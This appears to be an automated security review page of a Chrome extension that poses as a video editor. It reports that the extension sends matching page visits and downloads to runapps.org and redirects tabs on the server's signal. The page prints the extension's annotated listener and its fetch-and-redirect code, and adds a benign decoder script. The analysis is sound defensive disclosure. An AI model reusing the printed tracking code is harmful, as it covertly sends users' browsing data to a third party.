Is Shotcut online video editor safe?

Medium risk

Shotcut online video editor sends every visited URL and download to runapps.org and can redirect the tab based on the server's reply.

The extension monitors every page navigation and file download, hex-encodes the matched URL or filename together with a persistent per-install tracking ID, and sends it to runapps.org. If the server's response contains a specific flag, the extension redirects the current tab (for navigations) or opens a new foreground tab (for downloads) to a runapps.org URL. The popup's advertised video-editor functionality is also just an iframe loading a runapps.org web app, tagged with the same tracking ID.

RunAppsv1.1.6Chrome Web Store
45Risk
Who publishes it

OD Group - 7 other listings from the same operator, 5 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RunApps
Declared legal entity
OD Group

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI FOUND

Shotcut video editor extension sends your page visits, downloads to runapps.org

Code analysis shows the extension checks every page you visit and every file you download against a keyword list controlled by runapps.org, then hex-encodes the matching URL and a persistent per-device ID and sends both to that domain.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You visit a website, or a file download starts.

The extension's background script listens for every top-frame navigation and every download event.

The extension did this

If the URL or filename matches a word on a remote list, the extension hex-encodes it and sends it to runapps.org together with a tracking ID unique to your install.

The keyword list that decides what counts as a match is itself fetched from and controlled by runapps.org.

02EvidenceFIELD TABLE
Fields sent to runapps.org/app/chek-shotcut.php
FieldValueWhy it matters
Page or download URL
https://example.com/files/report.pdfThe exact address of the page you visited, or the URL/filename of the file you downloaded, when it matches a keyword.
Tracking ID
k3jd82p9qzA 10-character ID generated once per install, sent with every match so runapps.org can link separate visits back to the same device.
Encoding flag
hex=1Tells the server that the URL field above was hex-encoded before sending.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The matched URL is hex-encoded before it's placed in the request, so it doesn't read as a plain URL at a glance in a network log.

What's actually being sent
https://example.com/files/report.pdf|||xx
04EvidenceCODE COMPARE
The code that does this

The navigation listener that decides what counts as a match (runapps.js)

What it actually does
Navigation listener, annotatedrunapps.js
chrome.webNavigation.onCommitted.addListener(function (dteailsx) {

    refreshTypesIfNeeded();

    if (dteailsx && dteailsx.url) {
        console.log(dteailsx.url);
        if (dteailsx.frameId !== 0) return;

        // transitionType filter still matches ordinary link clicks/typed URLs,
        // not just iframe navigations.
        if (dteailsx.transitionType && (dteailsx.transitionType.indexOf("frame") <= 0)) {

            let urrxx = dteailsx.url;

            chrome.storage.local.get("runappsme", function (data) {
                if (data.runappsme === false || data.runappsme === "0") return;

                // rtdata is the keyword list, itself fetched from runapps.org
                // and refreshed hourly by refreshTypesIfNeeded().
                chrome.storage.local.get("rtdata", function (result) {
                    if (!result.rtdata) return;

                    let data = result.rtdata.trim();
                    if (data.startsWith("<xml>") && data.endsWith("</xml>")) {
                        data = data.substring(5, data.length - 6);
                    }
                    const fileKeywords = data.split(";").map(item => item.trim()).filter(item => item.length > 0);

                    for (const keyword of fileKeywords) {
                        // Plain substring match against the full navigated URL.
                        if (urrxx.includes(keyword)) {
                            // Remembers which tab navigated, so a later redirect
                            // (see the opcx() snippet) can target this exact tab.
                            LAST_NAV_TABID = dteailsx.tabId;
                            OPCX_CONTEXT = "nav";

                            // Sends the matched URL to runapps.org.
                            opcx(urrxx + "|||xx", uuyyyu);
                            return;
                        }
                    }
                });
            });
        }
    }
}, {
    // hostContains: '.' matches essentially every navigation to any domain.
    url: [{ hostContains: '.' }],
});
05EvidenceTHIRD PARTY LIST
Where the data goes
  • www.runapps.org

    Receives the hex-encoded page/download URL and the per-install tracking ID; also supplies the keyword list that decides what counts as a match.

06EvidenceARTIFACT
Check if you're affected

Decodes the hex-encoded 'fpah' parameter from a captured runapps.org chek-shotcut.php request back into the original URL, so you can verify what a given request actually contains.

RequiresNode.js 14+
decode-runapps-request.js · js
// Usage: node decode-runapps-request.js '<full request URL>'
const url = new URL(process.argv[2]);
const fpah = url.searchParams.get('fpah');
if (!fpah) {
  console.error('No fpah parameter found in that URL.');
  process.exit(1);
}
const bytes = Buffer.from(fpah, 'hex');
console.log('Decoded value:', bytes.toString('utf8'));
console.log('uuyy (tracking ID):', url.searchParams.get('uuyy'));
How to run it
  1. 1
    Capture a chek-shotcut.php request URL from devtools/proxy.
  2. 2
    Run: node decode-runapps-request.js "<url>".
  3. 3
    The script prints the original page/download URL and the tracking ID.
07EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-940
SourceAI FOUND

Shotcut extension redirects your tab when runapps.org's server says to

Code analysis shows that when runapps.org's response to the check request contains the text '1302', the extension navigates your current tab, or opens a new tab, to a runapps.org page, without asking you first.

01EvidenceCAUSE EFFECT
What actually happens
You did this

runapps.org's check endpoint responds with a body containing the text '1302'.

This follows a page visit or download that already matched a keyword from runapps.org's own list.

The extension did this

The extension navigates your current tab, or opens a new tab, to a runapps.org page built from that same visited/downloaded URL.

No prompt or notification is shown before the tab changes.

02EvidenceFIELD TABLE
What controls the redirect destination
FieldValueWhy it matters
Redirect destination
https://www.runapps.org/app/view-shotcut.php?service=runapps&fpath=68747470733a2f2f6578616d706c652e636f6d2f66696c65732f7265706f72742e7064667c7c7c7878&hex=1&uuyy=k3jd82p9qzA runapps.org page built from the page/download URL that matched, hex-encoded the same way as the check request.
Redirect switch
1302The text '1302' appearing anywhere in the server's response is the only thing that decides whether your tab gets redirected.
03EvidenceCODE COMPARE
The code that does this

The redirect logic (runapps.js)

What it actually does
opcx(), annotatedrunapps.js
async function opcx(urrxxx, uuyyyu) {

    // urrxxx is "<matched URL>|||xx"; b2dx() hex-encodes it. uuyyyu is the
    // 10-character tracking ID generated once per install.
    let rck1 = await fetch('https://www.runapps.org/app/chek-shotcut.php?fpah=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu);
    if (rck1.status === 200) {
        let dcheck = await rck1.text();

        // The ONLY thing that decides whether this tab gets redirected: does
        // the server's response body contain the literal text "1302"?
        if (dcheck.indexOf("1302") !== -1) {
            var newURL = 'https://www.runapps.org/app/view-shotcut.php?service=runapps&fpath=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu;

            // Download match: leave the download running, pop a new
            // foreground tab pointed at runapps.org.
            if (OPCX_CONTEXT === "download") {
                chrome.tabs.create({ url: newURL, active: true });
                return;
            }

            // Navigation match: LAST_NAV_TABID was captured by the listener
            // above, so this replaces the exact tab you just navigated in,
            // with no prompt.
            if (typeof LAST_NAV_TABID === "number" && LAST_NAV_TABID >= 0) {
                chrome.tabs.update(LAST_NAV_TABID, { url: newURL });
            } else {
                // fallback
                chrome.tabs.create({ url: newURL, active: true });
            }
        }
    }
}
04EvidencePLAIN NOTE
This is a two-stage design

The extension always sends a check-in request first and only redirects if that response contains '1302'. Since runapps.org makes the decision, which visits redirect can vary by device, time, or server-side rule with no code change.

05EvidenceTHIRD PARTY LIST
Where the redirect points
  • www.runapps.org

    Decides via its response body whether to redirect the tab, and serves the destination page the tab is redirected to.

06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Start, monitor and manage your downloads

    downloads

Where it sends data

Destinations our analysis observed Shotcut online video editor contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • runapps.org

    Shotcut online video editor sends data to runapps.org. No other extension we have analysed sends data here.

Updated 30 September 2026dpmojcbbjcoibehhihmcbeininnbpbid